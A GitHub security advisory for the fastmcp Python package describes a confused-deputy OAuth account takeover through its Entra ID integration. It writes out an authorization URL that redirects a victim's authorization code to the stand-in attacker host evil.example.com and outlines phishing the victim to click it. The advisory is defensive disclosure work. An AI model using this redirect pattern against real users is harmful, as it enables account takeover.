ghsa-c2jp-c369-7pvx
Vulnerability from github
Summary
FastMCP documentation covers the scenario where it is possible to use Entra ID or other providers for authentication. In this context, because Entra ID does not support Dynamic Client Registration (DCR), the FastMCP-hosted MCP server is acting as the authorization provider, as declared in the Protected Resource Metadata (PRM) document hosted on the server.
For example, on a local MCP server, it may be hosted here:
http
http://localhost:8000/.well-known/oauth-protected-resource
And the JSON representation of the PRM document:
json
{
"resource": "http://localhost:8000/mcp",
"authorization_servers": [
"http://localhost:8000/"
],
"scopes_supported": [
"User.Read",
"email",
"openid",
"profile"
],
"bearer_methods_supported": [
"header"
]
}
Notice that the authorization_servers field contains the MCP server itself - it acts as an OAuth Client to the downstream authorization server (e.g., Entra ID) and as a Authorization Server (AS) to the MCP client.
The FastMCP server also hosts the AS metadata:
bash
http://localhost:8000/.well-known/oauth-authorization-server
With the following content:
json
{
"issuer": "http://localhost:8000/",
"authorization_endpoint": "http://localhost:8000/authorize",
"token_endpoint": "http://localhost:8000/token",
"registration_endpoint": "http://localhost:8000/register",
"scopes_supported": [
"User.Read",
"email",
"openid",
"profile"
],
"response_types_supported": [
"code"
],
"grant_types_supported": [
"authorization_code",
"refresh_token"
],
"token_endpoint_auth_methods_supported": [
"client_secret_post"
],
"code_challenge_methods_supported": [
"S256"
]
}
All of this confirms that the FastMCP server is, in fact, handling the client-to-server authorization and then delegating the downstream effects (i.e., authorization with Entra ID) to its own redirect logic, with a call like this (as seen through MCP Inspector):
http
http://localhost:8000/authorize?response_type=code&client_id=fdec0bb8-3423-40d0-aa2a-73de26bf6f93&code_challenge=2a9ZxAEr5NEsKPwFWuEFA1W-kFMXc-02u6qc8aLf_g4&code_challenge_method=S256&redirect_uri=http%3A%2F%2Flocalhost%3A6274%2Foauth%2Fcallback%2Fdebug&state=9f23fd47e2b8786b502f116bdbfd6ae3d7d2801167e24fea82f608bb52312bbd&scope=User.Read+email+openid+profile&resource=http%3A%2F%2Flocalhost%3A8000%2Fmcp
When using the built-in FastMCP /authorize endpoint, and in the example above, FastMCP server configured with Entra ID, it will then redirect the user here:
http
https://login.microsoftonline.com/412e93fe-74e5-4ee6-9b67-1eeb1c79550e/oauth2/v2.0/authorize?response_type=code&client_id=7bac43f2-ca62-4148-93a5-fd5686cb16c0&redirect_uri=http%3A%2F%2Flocalhost%3A8000%2Fauth%2Fcallback&state=Tcv7bbg_v0Qi69RHbCzqR4tQHSHKPQuDDxjuo0wu5qU&scope=User.Read+email+openid+profile&code_challenge=bxICFAJDViuTTHIPUPdSXGLKbNbgPwiB-0ITXUJkjYM&code_challenge_method=S256&resource=http%3A%2F%2Flocalhost%3A8000%2Fmcp
[!NOTE] In the scenario above, the app registration in Entra ID is set up in the FastMCP server, as outlined in the PoC below.
Notice that the client ID and redirect URIs in the login.microsoftonline.com call are different than the initial /authorize call - that's because we're now switching to using the MCP server's static app registration instead of the DCR client details.
Completing the authorization flow here for the first time for a user would trigger the Entra ID consent flow:
This consent flow is only showed the first time the user needs to use this application. Once the consent is set, they will never be prompted for this unless revoked.
This is where the vulnerability comes in. After the user consented and is authorized, Entra ID will set a browser cookie capturing the authorization state. This helps prevent nagging re-authorization prompts.
With the user consented to the static client for Entra ID that the FastMCP server exposes, they will now not be prompted the next time they need to use the same application ID.
Now, an attacker comes in - in their own MCP client (i.e., they maintain one at https://evil.example.com) they start the authorization with the same remote MCP server and get to the point where the server produces their own authorization URI for this client ID:
http
http://localhost:8000/authorize?response_type=code&client_id=9a5d63d0-3aa3-465c-b097-0e2e196392dd&code_challenge=2F4Lbfppwd7xuynLT1y4Cy2Dac-S6HOO2B84itAwppw&code_challenge_method=S256&redirect_uri=https%3A%2F%2Fevil.example.com%3A6274%2Foauth%2Fcallback%2Fdebug&state=221fab2ccdc1481511639c110ee7382445930e22be25396b01f32d973d7176dc&scope=User.Read+email+openid+profile&resource=http%3A%2F%2Flocalhost%3A8000%2Fmcp
[!IMPORTANT] Note that the redirect URI above points to the
https://evil.example.comclient.
At this point - they grab the URL and coerce the victim (user that already authenticated with Entra ID on their machine) to click on this link. This could be done through spam, spear-phishing, or any other traditional link sharing approaches. The moment the victim clicks on this link, they will be taken to the browser, where there is already a cookie set by Entra ID for the static Entra ID client that the MCP server is using. The DCR-d registered client ID that the FastMCP server is handling now got linked to the internal FastMCP authorization server, and the authorization code is returned to https://evil.example.com.
The user will be automatically speed-ran through the authorization flow (no prompts) and they will effectively give access to the MCP server to the attacker with their account. Attacker can now exchange the authorization code for a token and access the remote MCP server as the victim.
Details
See above - the outline covers the attack vector.
PoC
Standard documented sample that uses Entra ID:
```python from fastmcp import FastMCP from fastmcp.server.auth.providers.azure import AzureProvider
The AzureProvider handles Azure's token format and validation
auth_provider = AzureProvider( client_id="f527ed01-9725-45bd-8173-8d3a017ba02f", # Your Azure App Client ID client_secret="H3X8Q~coFQaI_zpYXePrzdRFZ7xmwEORJJ49tcnw", # Your Azure App Client Secret tenant_id="412e93fe-74e5-4ee6-9b67-1eeb1c79550e", # Your Azure Tenant ID (REQUIRED) base_url="http://localhost:8000", # Must match your App registration required_scopes=["User.Read", "email", "openid", "profile"], # Microsoft Graph permissions # redirect_path="/auth/callback" # Default value, customize if needed )
mcp = FastMCP(name="Azure Secured App", auth=auth_provider)
Add a protected tool to test authentication
@mcp.tool async def get_user_info() -> dict: """Returns information about the authenticated Azure user.""" from fastmcp.server.dependencies import get_access_token
token = get_access_token()
# The AzureProvider stores user data in token claims
return {
"azure_id": token.claims.get("sub"),
"email": token.claims.get("email"),
"name": token.claims.get("name"),
"job_title": token.claims.get("job_title"),
"office_location": token.claims.get("office_location")
}
```
Impact
Potential for server account compromise.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "fastmcp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.13.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-29T15:38:07Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nFastMCP documentation [covers the scenario](https://gofastmcp.com/integrations/azure) where it is possible to use Entra ID or other providers for authentication. In this context, because Entra ID does not support Dynamic Client Registration (DCR), the FastMCP-hosted MCP server is acting as the authorization provider, as declared in the Protected Resource Metadata (PRM) document hosted on the server.\n\nFor example, on a local MCP server, it may be hosted here:\n\n```http\nhttp://localhost:8000/.well-known/oauth-protected-resource\n```\n\nAnd the JSON representation of the PRM document:\n\n```json\n{\n \"resource\": \"http://localhost:8000/mcp\",\n \"authorization_servers\": [\n \"http://localhost:8000/\"\n ],\n \"scopes_supported\": [\n \"User.Read\",\n \"email\",\n \"openid\",\n \"profile\"\n ],\n \"bearer_methods_supported\": [\n \"header\"\n ]\n}\n```\n\nNotice that the `authorization_servers` field contains the MCP server itself - it acts as an **OAuth Client** to the downstream authorization server (e.g., Entra ID) and as a **Authorization Server** (AS) to the MCP client.\n\nThe FastMCP server also hosts the AS metadata:\n\n```bash\nhttp://localhost:8000/.well-known/oauth-authorization-server\n```\n\nWith the following content:\n\n```json\n{\n \"issuer\": \"http://localhost:8000/\",\n \"authorization_endpoint\": \"http://localhost:8000/authorize\",\n \"token_endpoint\": \"http://localhost:8000/token\",\n \"registration_endpoint\": \"http://localhost:8000/register\",\n \"scopes_supported\": [\n \"User.Read\",\n \"email\",\n \"openid\",\n \"profile\"\n ],\n \"response_types_supported\": [\n \"code\"\n ],\n \"grant_types_supported\": [\n \"authorization_code\",\n \"refresh_token\"\n ],\n \"token_endpoint_auth_methods_supported\": [\n \"client_secret_post\"\n ],\n \"code_challenge_methods_supported\": [\n \"S256\"\n ]\n}\n```\n\nAll of this confirms that the FastMCP server is, in fact, handling the client-to-server authorization and then delegating the downstream effects (i.e., authorization with Entra ID) to its own redirect logic, with a call like this (as seen through MCP Inspector):\n\n```http\nhttp://localhost:8000/authorize?response_type=code\u0026client_id=fdec0bb8-3423-40d0-aa2a-73de26bf6f93\u0026code_challenge=2a9ZxAEr5NEsKPwFWuEFA1W-kFMXc-02u6qc8aLf_g4\u0026code_challenge_method=S256\u0026redirect_uri=http%3A%2F%2Flocalhost%3A6274%2Foauth%2Fcallback%2Fdebug\u0026state=9f23fd47e2b8786b502f116bdbfd6ae3d7d2801167e24fea82f608bb52312bbd\u0026scope=User.Read+email+openid+profile\u0026resource=http%3A%2F%2Flocalhost%3A8000%2Fmcp\n```\n\nWhen using the built-in FastMCP `/authorize` endpoint, and in the example above, FastMCP server configured with Entra ID, it will then redirect the user here:\n\n```http\nhttps://login.microsoftonline.com/412e93fe-74e5-4ee6-9b67-1eeb1c79550e/oauth2/v2.0/authorize?response_type=code\u0026client_id=7bac43f2-ca62-4148-93a5-fd5686cb16c0\u0026redirect_uri=http%3A%2F%2Flocalhost%3A8000%2Fauth%2Fcallback\u0026state=Tcv7bbg_v0Qi69RHbCzqR4tQHSHKPQuDDxjuo0wu5qU\u0026scope=User.Read+email+openid+profile\u0026code_challenge=bxICFAJDViuTTHIPUPdSXGLKbNbgPwiB-0ITXUJkjYM\u0026code_challenge_method=S256\u0026resource=http%3A%2F%2Flocalhost%3A8000%2Fmcp\n```\n\n\u003e[!NOTE]\n\u003eIn the scenario above, the app registration in Entra ID is set up in the FastMCP server, as outlined in the PoC below.\n\n\u003cimg width=\"2725\" height=\"630\" alt=\"image\" src=\"https://github.com/user-attachments/assets/7ea612bf-a49e-44da-bd79-236c26bb42f3\" /\u003e\n\nNotice that the client ID and redirect URIs in the `login.microsoftonline.com` call are different than the initial `/authorize` call - that\u0027s because we\u0027re now switching to using the MCP server\u0027s **static app registration** instead of the DCR client details.\n\nCompleting the authorization flow here for the first time for a user would trigger the Entra ID consent flow:\n\n\u003cimg width=\"751\" height=\"952\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2cc4b7ee-c110-4623-8f86-438821f4addf\" /\u003e\n\nThis consent flow is **only showed the first time the user needs to use this application**. Once the consent is set, they will never be prompted for this unless revoked.\n\nThis is where the vulnerability comes in. After the user consented and is authorized, Entra ID will set a browser cookie capturing the authorization state. This helps prevent nagging re-authorization prompts.\n\nWith the user consented to the **static client for Entra ID** that the FastMCP server exposes, they will now not be prompted the next time they need to use the same application ID.\n\nNow, an attacker comes in - in **their own MCP client** (i.e., they maintain one at `https://evil.example.com`) they start the authorization with the same remote MCP server and get to the point where the server produces **their own** authorization URI for this client ID:\n\n```http\nhttp://localhost:8000/authorize?response_type=code\u0026client_id=9a5d63d0-3aa3-465c-b097-0e2e196392dd\u0026code_challenge=2F4Lbfppwd7xuynLT1y4Cy2Dac-S6HOO2B84itAwppw\u0026code_challenge_method=S256\u0026redirect_uri=https%3A%2F%2Fevil.example.com%3A6274%2Foauth%2Fcallback%2Fdebug\u0026state=221fab2ccdc1481511639c110ee7382445930e22be25396b01f32d973d7176dc\u0026scope=User.Read+email+openid+profile\u0026resource=http%3A%2F%2Flocalhost%3A8000%2Fmcp\n```\n\n\u003e[!IMPORTANT]\n\u003eNote that the redirect URI above points to the `https://evil.example.com` client.\n\nAt this point - they grab the URL and **coerce the victim** (user that already authenticated with Entra ID on their machine) to click on this link. This could be done through spam, spear-phishing, or any other traditional link sharing approaches. The moment the victim clicks on this link, they will be taken to the browser, where there is already a cookie set by Entra ID for the **static Entra ID client that the MCP server is using**. The DCR-d **registered client ID** that the FastMCP server is handling now got linked to the internal FastMCP authorization server, and the authorization code is returned to `https://evil.example.com`.\n\nThe user will be automatically speed-ran through the authorization flow (no prompts) and they will effectively give access to the MCP server to the attacker with their account. Attacker can now exchange the authorization code for a token and access the remote MCP server as the victim.\n\n### Details\n\nSee above - the outline covers the attack vector.\n\n### PoC\n\nStandard documented sample that uses Entra ID:\n\n```python\nfrom fastmcp import FastMCP\nfrom fastmcp.server.auth.providers.azure import AzureProvider\n\n# The AzureProvider handles Azure\u0027s token format and validation\nauth_provider = AzureProvider(\n client_id=\"f527ed01-9725-45bd-8173-8d3a017ba02f\", # Your Azure App Client ID\n client_secret=\"H3X8Q~coFQaI_zpYXePrzdRFZ7xmwEORJJ49tcnw\", # Your Azure App Client Secret\n tenant_id=\"412e93fe-74e5-4ee6-9b67-1eeb1c79550e\", # Your Azure Tenant ID (REQUIRED)\n base_url=\"http://localhost:8000\", # Must match your App registration\n required_scopes=[\"User.Read\", \"email\", \"openid\", \"profile\"], # Microsoft Graph permissions\n # redirect_path=\"/auth/callback\" # Default value, customize if needed\n)\n\nmcp = FastMCP(name=\"Azure Secured App\", auth=auth_provider)\n\n# Add a protected tool to test authentication\n@mcp.tool\nasync def get_user_info() -\u003e dict:\n \"\"\"Returns information about the authenticated Azure user.\"\"\"\n from fastmcp.server.dependencies import get_access_token\n \n token = get_access_token()\n # The AzureProvider stores user data in token claims\n return {\n \"azure_id\": token.claims.get(\"sub\"),\n \"email\": token.claims.get(\"email\"),\n \"name\": token.claims.get(\"name\"),\n \"job_title\": token.claims.get(\"job_title\"),\n \"office_location\": token.claims.get(\"office_location\")\n }\n```\n\n### Impact\n\nPotential for server account compromise.",
"id": "GHSA-c2jp-c369-7pvx",
"modified": "2025-10-29T15:38:07Z",
"published": "2025-10-29T15:38:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jlowin/fastmcp/security/advisories/GHSA-c2jp-c369-7pvx"
},
{
"type": "PACKAGE",
"url": "https://github.com/jlowin/fastmcp"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "FastMCP Auth Integration Allows for Confused Deputy Account Takeover"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.